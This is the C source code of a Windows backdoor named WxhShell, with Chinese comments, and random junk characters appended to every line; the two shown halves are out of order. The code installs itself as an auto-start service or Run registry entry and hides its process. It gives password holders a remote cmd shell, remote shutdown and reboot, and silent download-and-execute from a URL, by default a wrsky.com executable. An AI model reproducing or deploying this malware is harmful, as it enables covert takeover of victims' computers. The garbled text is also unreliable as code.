    break; TpAE9S  
    } fH@P&SX  
  // 关机 ^n|yfvR  
  case 'd': { 3X;k c>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w#XD4kwQG  
    if(Boot(SHUTDOWN)) "{;E+-/ aL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wtl3Ex,DO  
    else { =JkPE2mU  
    closesocket(wsh); diz=|g=w  
    ExitThread(0); Wbq0K6X  
    } 5*O*p `Ba  
    break; NmuzAZr  
    } 5@lVuMIYT  
  // 获取shell _%@dlT?  
  case 's': { AV>_ bw.  
    CmdShell(wsh); |p .o^  
    closesocket(wsh); [!~= m  
    ExitThread(0); !*?|*\B^I  
    break; ]c9\[Kdq}H  
  } x>cl$41!W  
  // 退出 YE*%Y["  
  case 'x': { r|_@S[hZg  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); CN{xh=2qY[  
    CloseIt(wsh); d-sT+4o}  
    break; Q$yMU [l)  
    } 5%_aN_1?ef  
  // 离开 22T\ -g{  
  case 'q': { h-f`as"d  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `f[  
    closesocket(wsh); EED0U?  
    WSACleanup(); i V$TvD+  
    exit(1); `j1b5&N;7  
    break;  0"F|)  
        } nO+-o;DbC  
  } 6MD9DqD  
  } Ao U Pq  
2il`'X  
  // 提示信息 o"V+W  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $a01">q&y  
} QZm7 Q4  
  } A_\`Gj!s%  
68UfuC  
  return; B? aMX,1  
} r) u@,P  
*)(S}D\94  
// shell模块句柄 -O^R~Q_`w  
int CmdShell(SOCKET sock) \8Hs[H!  
{ q^DQ9B  
STARTUPINFO si; ]#\De73K   
ZeroMemory(&si,sizeof(si)); : 5X^t  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kaT  !   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N>H#Ew@2U  
PROCESS_INFORMATION ProcessInfo; (KLhF  
char cmdline[]="cmd"; EzeU-!|W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  :I{9k~  
  return 0; Ygbyia|  
} [ [#R ry  
3&!v"ms  
// 自身启动模式 Eq?U$eE  
int StartFromService(void) I/*^s  
{ SHYbQF2  
typedef struct LVNA`|>  
{ nWes,K6T  
  DWORD ExitStatus; x[y}{T  
  DWORD PebBaseAddress; #Dea$  
  DWORD AffinityMask; fm^J-  
  DWORD BasePriority; B'e@RhU;  
  ULONG UniqueProcessId; 9sN#l  
  ULONG InheritedFromUniqueProcessId; ;:,U]@  
}   PROCESS_BASIC_INFORMATION; bt};Pn{3  
SsEpuEn  
PROCNTQSIP NtQueryInformationProcess; ICEyz| C  
D$AvD7_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1u8hnG  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +MqJJuWB  
O I0N(V  
  HANDLE             hProcess; 'T|EwrS j  
  PROCESS_BASIC_INFORMATION pbi; !Ln 'Mi_B  
hD[r6c  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); AHo}K\O?r  
  if(NULL == hInst ) return 0; M>Q3;s  
zsLMROo3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9X&=?+f  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kWacc&*|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bzr QQQ  
Hr7?#ZX;e  
  if (!NtQueryInformationProcess) return 0; -<ome~|  
RrT`]1".  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D4N(FZ0~  
  if(!hProcess) return 0; 73_=CP" t  
.EReYZO  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (hBph+  
o`Af6C;Q  
  CloseHandle(hProcess); 1cc~UQ  
>,QCKZH  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lGt:.p{NG  
if(hProcess==NULL) return 0; N4z[=b>  
Peo-t*-06  
HMODULE hMod; L]%!YP\<T  
char procName[255]; ORM3o ucP  
unsigned long cbNeeded; ~"_!O+Pj  
#].q jOj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); tLU@&NY`  
4TI`   
  CloseHandle(hProcess); U)M&AYb  
*fs[]q'Q  
if(strstr(procName,"services")) return 1; // 以服务启动 TNckyP75u  
XDAP[V  
  return 0; // 注册表启动 E+|K3EJ  
} DgK*> A  
ACy}w?D<  
// 主模块 >9mj/P D  
int StartWxhshell(LPSTR lpCmdLine) ]imVIu   
{ d'&OEGb<  
  SOCKET wsl; jhPbh5E  
BOOL val=TRUE; 3d]~e  
  int port=0; %wXj P`#  
  struct sockaddr_in door; +!W:gA  
Wx8:GBM$2  
  if(wscfg.ws_autoins) Install(); F3K<-JK+  
`zrg?  
port=atoi(lpCmdLine); aOw#]pB|  
Cn{v\Q~.4  
if(port<=0) port=wscfg.ws_port; lo1bj*Y2  
\#]C !JQ  
  WSADATA data; pY[b[ezb  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; YR? E z<p  
|h%HUau  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,(-V<>/*.|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~1E!Co  
  door.sin_family = AF_INET; .jg@UAK  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3~7!=s\v  
  door.sin_port = htons(port); EJ>rW(s  
@/?i|!6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { b`$qKO  
closesocket(wsl); B'Jf&v  
return 1; {* :^K\-  
} SSCs96  
0g6sGz=  
  if(listen(wsl,2) == INVALID_SOCKET) { OjAdY\ ]1  
closesocket(wsl); n.qT7d(  
return 1; !*L)v  
} $U. |  
  Wxhshell(wsl); w;{Q)_A  
  WSACleanup(); + kT ]qH  
pdR\Ne0P*  
return 0; G[JWG  
N Uv Vhy]{  
} :<bhQY  
|O6/p7+.  
// 以NT服务方式启动 M)!"R [V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $./aK J1B  
{ 9r+'DX?>  
DWORD   status = 0; *r[V[9+y-D  
  DWORD   specificError = 0xfffffff; kX+9U"` C  
:*&c'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `"[qb ?z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `A%WCd60Tc  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tc/  
  serviceStatus.dwWin32ExitCode     = 0; =Gu&0f  
  serviceStatus.dwServiceSpecificExitCode = 0; u8.Tu7~  
  serviceStatus.dwCheckPoint       = 0; .)$MZyo  
  serviceStatus.dwWaitHint       = 0; z/+{QBen8  
EPH n"YK  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +or<(%o @  
  if (hServiceStatusHandle==0) return; 54Rp0o tv  
|&{S ~^$  
status = GetLastError(); M49l2x=]9  
  if (status!=NO_ERROR) :N_]*>  
{ >qOG^{&x  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Z'j[N4%BK  
    serviceStatus.dwCheckPoint       = 0; ~-6_-Y|  
    serviceStatus.dwWaitHint       = 0; Y%kOq`uT=n  
    serviceStatus.dwWin32ExitCode     = status; vpf.0!zh  
    serviceStatus.dwServiceSpecificExitCode = specificError; f,E7eL@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); PuREqa\_[  
    return; FG[rH]   
  } lct  
M;Pry 3J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; lq"X_M$  
  serviceStatus.dwCheckPoint       = 0; - z+,j(@  
  serviceStatus.dwWaitHint       = 0; +B1&bOb  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d4BzFGsW  
} 5 ,-8oEUL  
h2T\%V_j  
// 处理NT服务事件,比如:启动、停止 _J!&R:]$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2aCf?l(  
{ &.?E[db"h  
switch(fdwControl) tm5)x^7  
{ `*B0n>ol,  
case SERVICE_CONTROL_STOP: |u?VlRt  
  serviceStatus.dwWin32ExitCode = 0; 1s@QsZ3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2/r8% Sq  
  serviceStatus.dwCheckPoint   = 0; ,3 /o7'  
  serviceStatus.dwWaitHint     = 0; Sx QA*}N  
  { RG'76?z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (m,H 5  
  } *l{epum;  
  return; Nj3iZD|  
case SERVICE_CONTROL_PAUSE: u%e~a]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -W1p=od  
  break; j\IdB:}j  
case SERVICE_CONTROL_CONTINUE: 64mEZ_kG,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; z9[TjTH^}T  
  break; WYTqQqQk  
case SERVICE_CONTROL_INTERROGATE: #f) TAA  
  break; K&%CeUa  
}; ~qeFSU(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tF} ^  
} ,G%UU~/a  
Znb7OF^#"  
// 标准应用程序主函数 jhf3(hx&F  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p>+9pxx~U  
{ o zn&>k  
-grf7w^  
// 获取操作系统版本 Y2QX<  
OsIsNt=GetOsVer(); zaHZ5%{LQD  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7$lnCvm  
clV^Xg8D  
  // 从命令行安装 B8T$<  
  if(strpbrk(lpCmdLine,"iI")) Install(); |mQ Fi\  
$U]T8;5Q  
  // 下载执行文件 #DFi-o&-  
if(wscfg.ws_downexe) { &H;,,7u  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _ C?Wk:Y@  
  WinExec(wscfg.ws_filenam,SW_HIDE); i cTpx#|=  
} MXcW & b  
x+Xd7N1  
if(!OsIsNt) { aqI"4v]~b  
// 如果时win9x,隐藏进程并且设置为注册表启动 0?>(H(D^/  
HideProc(); zq{UkoME  
StartWxhshell(lpCmdLine); \(P?=] -  
} E|f[ #+:+  
else N7J?S~x  
  if(StartFromService()) 8^ f:-5  
  // 以服务方式启动 %r(WS_%K|  
  StartServiceCtrlDispatcher(DispatchTable); )e?&'wa>  
else 5\bGCf  
  // 普通方式启动 g) oOravV  
  StartWxhshell(lpCmdLine); D;V[9E=g/  
}psRgF  
return 0; e9KD mX_  
} s/IsrcfM  
$!.>)n  
c]ARgrH-  
F =e9o*z  
=========================================== Vz/w.%_g  
_=s9o/Cn]  
~SQ xFAto  
:Fb>=e  
0W*{ 1W  
L/tn;0  
" 7amVnR1f  
"g"a-{8  
#include <stdio.h> ,sAAV%" >  
#include <string.h> Uv *A a7M  
#include <windows.h> nFEJO&1+  
#include <winsock2.h> &[-(=43@  
#include <winsvc.h> xeU|5-d'  
#include <urlmon.h> ~%/Rc`  
zg<-%r'$  
#pragma comment (lib, "Ws2_32.lib") jn V=giBu  
#pragma comment (lib, "urlmon.lib") w7U]-MW6A*  
b/z-W`gw  
#define MAX_USER   100 // 最大客户端连接数 ja_8n["z  
#define BUF_SOCK   200 // sock buffer J/4T=:\  
#define KEY_BUFF   255 // 输入 buffer %Gh5!e:$SI  
N2}SR|.  
#define REBOOT     0   // 重启 1z-.e$&z  
#define SHUTDOWN   1   // 关机 Kk8} m;  
~U&NY7.@  
#define DEF_PORT   5000 // 监听端口 AYA{_^#+3  
M@A3+ v%K  
#define REG_LEN     16   // 注册表键长度 F$?Ab\#B  
#define SVC_LEN     80   // NT服务名长度 SU~a()"  
}~I!'J#)  
// 从dll定义API yQ[;y~W  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .r<a Py$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]u_j6y!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rY_~(?XS  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9Lb96K?=>  
Z ;.-UXat  
// wxhshell配置信息 ]5Uuz?:e  
struct WSCFG { _AX 9 Mu]  
  int ws_port;         // 监听端口 'V:Q :  
  char ws_passstr[REG_LEN]; // 口令 :x\[aG9  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6^"QABc  
  char ws_regname[REG_LEN]; // 注册表键名 >S +}  
  char ws_svcname[REG_LEN]; // 服务名 ^ F]hW  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )r9 9zdUk  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !uEEuD#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d+JK")$9C  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o]e,5]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" lnZ{Ryo(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j?.F-ar  
F<* /J]  
}; QO'Hyf t  
:X;G]B .  
// default Wxhshell configuration Kq")\Ha,f  
struct WSCFG wscfg={DEF_PORT, !wy _3a  
    "xuhuanlingzhe", i<Vc~ !pT  
    1, n N<N~  
    "Wxhshell", t/i I!}  
    "Wxhshell", b&z#ZY  
            "WxhShell Service", 6Xvpk1  
    "Wrsky Windows CmdShell Service", ]<f)Rf">:`  
    "Please Input Your Password: ", >H;i#!9,  
  1, FQ< -Wc  
  "http://www.wrsky.com/wxhshell.exe", 7]h%?W !  
  "Wxhshell.exe" h&<"jCjL  
    }; $xbC^ k  
+lym8n~-O  
// 消息定义模块 +vh|m5"7I7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; XNYA\%:5S  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;>J!$B?,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T+0=Ou"N  
char *msg_ws_ext="\n\rExit."; 4 mX(.6  
char *msg_ws_end="\n\rQuit."; _gT65G~z  
char *msg_ws_boot="\n\rReboot..."; '$tCAS  
char *msg_ws_poff="\n\rShutdown..."; Ww]$zd-bo  
char *msg_ws_down="\n\rSave to "; Lzh8-d=HQ  
vhrf89-q  
char *msg_ws_err="\n\rErr!"; <>] DcA  
char *msg_ws_ok="\n\rOK!"; 2}vibDq p  
)0"Q h  
char ExeFile[MAX_PATH]; Q]k< Y  
int nUser = 0; B5lwQp]  
HANDLE handles[MAX_USER]; <XdnVe1  
int OsIsNt; r6DLShP-Ur  
j_8 YFz5  
SERVICE_STATUS       serviceStatus; MKHnA|uQ](  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \<LCp;- K  
9p{ 4-]  
// 函数声明 #t+?eye~  
int Install(void); G]K1X"W?  
int Uninstall(void); #I/P9)4  
int DownloadFile(char *sURL, SOCKET wsh); oB:7R^a  
int Boot(int flag); 1V%tev9a  
void HideProc(void); l;; 2\mL?  
int GetOsVer(void); Y6jyU1>  
int Wxhshell(SOCKET wsl); 6j%%CWU{~  
void TalkWithClient(void *cs); %rW}x[M%w?  
int CmdShell(SOCKET sock); my 'nDi  
int StartFromService(void); 0j$\k|xFXZ  
int StartWxhshell(LPSTR lpCmdLine); gX}'b\zxC  
e=sc$1|4=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); mxv ?PP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }je<^]a  
jl,gqMn"V  
// 数据结构和表定义 / ;`H )  
SERVICE_TABLE_ENTRY DispatchTable[] = DzZF*ylQ5P  
{ uF7vba$  
{wscfg.ws_svcname, NTServiceMain}, &`^(dO9  
{NULL, NULL} =^9h z3 j  
}; BlVHP8/b  
V%,,GmiU]  
// 自我安装 7)rQf{q7  
int Install(void) {?qfH>oFA  
{ m}]{Y'i]R  
  char svExeFile[MAX_PATH]; &;BhL%)}  
  HKEY key; "-4|HA  
  strcpy(svExeFile,ExeFile); _H+]G"k/r  
%BI8m|6  
// 如果是win9x系统,修改注册表设为自启动 P3oYk_oW  
if(!OsIsNt) { ?%O>]s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { km %r{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >F$9&s&  
  RegCloseKey(key); QQJGqM3a2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s9?mX@>h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  {53FR  
  RegCloseKey(key); A(y6]E!  
  return 0; 1-kuK<KR  
    } V3,C5KKk&z  
  } #VQZ"7nI@  
} |~9rak,  
else { e@'x7Zzh  
]cRvdUGv  
// 如果是NT以上系统,安装为系统服务 zEQ]5>mG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?^&ih:"  
if (schSCManager!=0) +t7HlAXB#  
{ IFLphm5  
  SC_HANDLE schService = CreateService ql?w6qFs]  
  ( |_53So: g  
  schSCManager, > X~\(|EM  
  wscfg.ws_svcname, uLdHE5vr  
  wscfg.ws_svcdisp,  5wK==hZ  
  SERVICE_ALL_ACCESS, vl (``5{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , u Kx:7"KD  
  SERVICE_AUTO_START, }8O9WS  
  SERVICE_ERROR_NORMAL, }&v}S6T  
  svExeFile, L$ T2 bul  
  NULL, ,EQ0""G!  
  NULL, rZUTBLZ`j  
  NULL, &9e  
  NULL, v`h>5#_[  
  NULL d?oXz|;H(  
  ); (B#FLoK  
  if (schService!=0) m(f`=+lqI`  
  { dle\}Sy=  
  CloseServiceHandle(schService); gwaSgV$z  
  CloseServiceHandle(schSCManager); 4M C]s~n  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6~dAK3v5  
  strcat(svExeFile,wscfg.ws_svcname); O"\4[HE^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S^s-md>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ar%*NxX  
  RegCloseKey(key); M6-uTmN:d  
  return 0; $QiMA,  
    } dsIbr"m  
  } eF3NyL(A  
  CloseServiceHandle(schSCManager); ?V`-z#y7  
} 3W'fEh5  
} ;MfqI/B{  
|$ PA  
return 1; uQdeKp4(  
} f1NHW|_j  
wBt7S!>G  
// 自我卸载 rfDGS%!O%  
int Uninstall(void) |q4=*Xq  
{ g$Tsht(rHD  
  HKEY key; .-$3I|}X=  
cqU6 Y*n  
if(!OsIsNt) { [n9l[dN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M^ * ~?9  
  RegDeleteValue(key,wscfg.ws_regname); TQ\#Z~CbK{  
  RegCloseKey(key); %DuPM6 6r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L,zx\cj?z  
  RegDeleteValue(key,wscfg.ws_regname); or-k~1D  
  RegCloseKey(key); a"s2N%{  
  return 0; 091m$~r*  
  } 60{G 4b)  
} 5Sl"1HL  
} -zECxHj x  
else { CH7a4qL`  
W=Syo&;F8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $NCvF'  
if (schSCManager!=0) /l `zZ>  
{ s}JifY`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); J>X@g;  
  if (schService!=0) 0LW3VfvToN  
  { u?>},M/  
  if(DeleteService(schService)!=0) { s:{[Y7\?  
  CloseServiceHandle(schService); xWLZlUHEu  
  CloseServiceHandle(schSCManager); ij:xr% FJ  
  return 0; 'e:4  
  } ]MCH]/  
  CloseServiceHandle(schService); U<Oc&S{]*  
  } Vg62HZ |  
  CloseServiceHandle(schSCManager); J_F\cM   
} E+y_te^+b  
} p;4FZ$  
|X{j^JP 5  
return 1; C.4(8~Y=~  
} @+;.W>^h  
#~Xj=M%  
// 从指定url下载文件 ]Mq-67  
int DownloadFile(char *sURL, SOCKET wsh) ) `{jPK*`  
{ /yU#UZ4;  
  HRESULT hr; Z +/3rd  
char seps[]= "/"; c RI2$|  
char *token; jl59;.P  
char *file; S^R dj ]  
char myURL[MAX_PATH]; @ws&W=NQ  
char myFILE[MAX_PATH]; JQb{?C  
Vu_oxL}  
strcpy(myURL,sURL); e&ti(Q=  
  token=strtok(myURL,seps); Ft;x@!h%  
  while(token!=NULL) |HAbZd7PG  
  { U ]pE{ ^\w  
    file=token; rFcz 0  
  token=strtok(NULL,seps); ~xzr8 P  
  } b!t[PShw^  
#2|biTJ  
GetCurrentDirectory(MAX_PATH,myFILE); P}'B~ ~9W  
strcat(myFILE, "\\"); / 8O=3  
strcat(myFILE, file); )h ,v(Rxa  
  send(wsh,myFILE,strlen(myFILE),0); OGEe8Z9Jt  
send(wsh,"...",3,0); <uU<qO;6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @n qM#  
  if(hr==S_OK) [<r.M<3  
return 0; b4:{PD~Mh  
else K1YxF  
return 1; ]U@~vA#''  
j hRr!  
} _G)A$6weU  
;Q3[} ]su  
// 系统电源模块 62;xK-U  
int Boot(int flag) L=54uCv Q  
{ u ^#UsOt+  
  HANDLE hToken; %i7U+v(d  
  TOKEN_PRIVILEGES tkp; UNSXr`9  
C}9GrIi  
  if(OsIsNt) { 0.m-}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); f0@*>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #6~KO7}  
    tkp.PrivilegeCount = 1; 7.2G}O6$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; RKzO$T  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ZxO o&YR3  
if(flag==REBOOT) { :tbI=NDb  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cK[=IE5  
  return 0; d&G]k!|\  
} }e|cszNRd  
else { Z=$-S(>J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) eSIG+{;&  
  return 0; {oOUIP  
} $+2QbEk&-  
  } %qsl<_&  
  else { ] 0L=+=w  
if(flag==REBOOT) { nGX3_-U4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {nM1$  
  return 0; ].Bx"L!B  
} Xm<_!=  
else { FaJK R  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) y k!K 5  
  return 0; f4,|D |  
} Q(A$ >A  
} Dl~(NLM  
W4.w  
return 1; NsS;d^%I  
} h+Lpj^<2a  
{tOf0W|  
// win9x进程隐藏模块 \{Q_\s&)  
void HideProc(void) Z[&FIG% tV  
{ QiA}0q3]0  
D HQxu4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); c ?<)!9:  
  if ( hKernel != NULL ) tKyGD|g S  
  { I lO,Ql  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); s[eSPSFZ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Q%~BD@Io  
    FreeLibrary(hKernel); Fnk@)1  
  } 3 ;"[WOv  
3st?6?7|  
return; A *:| d~  
} ,gpEXU p\  
;`xCfOY(  
// 获取操作系统版本 RIUJX{?  
int GetOsVer(void) NKEmY-f;  
{ {d#sZT  
  OSVERSIONINFO winfo; C}uzzG6s  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4dN <B U  
  GetVersionEx(&winfo); T)<^S(5 7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9BlpqS:P&  
  return 1; :!cK?H$+  
  else >Mh\jt\  
  return 0; J9t?;3  
} 1D)0\#><  
H;<>uE Lie  
// 客户端句柄模块 `z q+Xl  
int Wxhshell(SOCKET wsl) du'`&{_/  
{ ' A+L #  
  SOCKET wsh; &:ZR% f  
  struct sockaddr_in client; YH+(N  
  DWORD myID; Uu*iL< `  
S W6oaa81  
  while(nUser<MAX_USER) K0oF=|  
{ V= &M\58  
  int nSize=sizeof(client); _U LzA  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); R#YeE`K  
  if(wsh==INVALID_SOCKET) return 1; 9D`K#3}  
x'?p?u~[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2[=3-1c  
if(handles[nUser]==0) "~.4z,ha  
  closesocket(wsh); fUCjC*#1  
else S8kzAT  
  nUser++; Wj!+ E{y<r  
  } *pD|N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F#L1~\7  
%2b^t*CQ  
  return 0; 6~jAh@-  
} 1_!?wMo:f  
#Vmf 6  
// 关闭 socket V'RbTFb9Z  
void CloseIt(SOCKET wsh) \K"7U  
{ ZDL1H3;R  
closesocket(wsh); QL7.QG  
nUser--; qs\Cwn!  
ExitThread(0); (f_YgQEL  
} | @ ut/  
.9Cy<z  
// 客户端请求句柄 ?[.8A/:5  
void TalkWithClient(void *cs) 3O-vO=D  
{ nql9SQ'\\  
j `!Ge  
  SOCKET wsh=(SOCKET)cs; nhMxw @Z\  
  char pwd[SVC_LEN]; 'wYIJK~1  
  char cmd[KEY_BUFF]; /TPtPq<7:#  
char chr[1]; a}FY^4hl+  
int i,j; 4 X/UyBk  
;ow)N <Z  
  while (nUser < MAX_USER) { uD?G\"L i  
Iw.!*0$  
if(wscfg.ws_passstr) { |cnps$fk~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EqtL&UHe  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R{Zd ]HT  
  //ZeroMemory(pwd,KEY_BUFF); s I\-0og  
      i=0; f@Jrbg  
  while(i<SVC_LEN) { ?M|1'`!c8  
mj9sX^$ dE  
  // 设置超时 XC;Icr)  
  fd_set FdRead; k{vbi-^6rf  
  struct timeval TimeOut; AWMJ/ E*T  
  FD_ZERO(&FdRead); t_!p({  
  FD_SET(wsh,&FdRead); `C|];mf(#  
  TimeOut.tv_sec=8; <FU?^*~  
  TimeOut.tv_usec=0; <)!,$]S  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'Nt)7U>oC9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *U%3 [6hm  
H#V&5|K%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vR!g1gI23  
  pwd=chr[0]; Wq+GlB*  
  if(chr[0]==0xd || chr[0]==0xa) { 0,m]W)  
  pwd=0; "@hd\w{.  
  break; Cy/VH"G=  
  } e Csk\f`  
  i++; vK+reXE  
    } A-uIZ zC  
6| B9kh}  
  // 如果是非法用户,关闭 socket VZr:yE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >w7KOVbN3  
} ^<-r57pz  
!Tv3WQ@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V7nOT*N:Q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Mh~}RA"H  
F xm:m  
while(1) { 1,;zX^  
_iq62[i3^  
  ZeroMemory(cmd,KEY_BUFF); qF `6l(  
=z"+)N  
      // 自动支持客户端 telnet标准   Mth:V45G|  
  j=0; ti%RE:*  
  while(j<KEY_BUFF) { _ h#I}uJ~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TvDC4tm-:  
  cmd[j]=chr[0]; 3Ji$igL  
  if(chr[0]==0xa || chr[0]==0xd) { g6lWc@]F  
  cmd[j]=0; 0mUVa=)D  
  break; g;p} -=  
  } yj_> G  
  j++; eZU9L/w:  
    } jy2gR1~  
MA:5'n  
  // 下载文件 /; Bmh=  
  if(strstr(cmd,"http://")) { UsFn!!+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .S-)  
  if(DownloadFile(cmd,wsh)) &R@([=1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); EmcLW74  
  else s^eiym P  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }kr?+)wB  
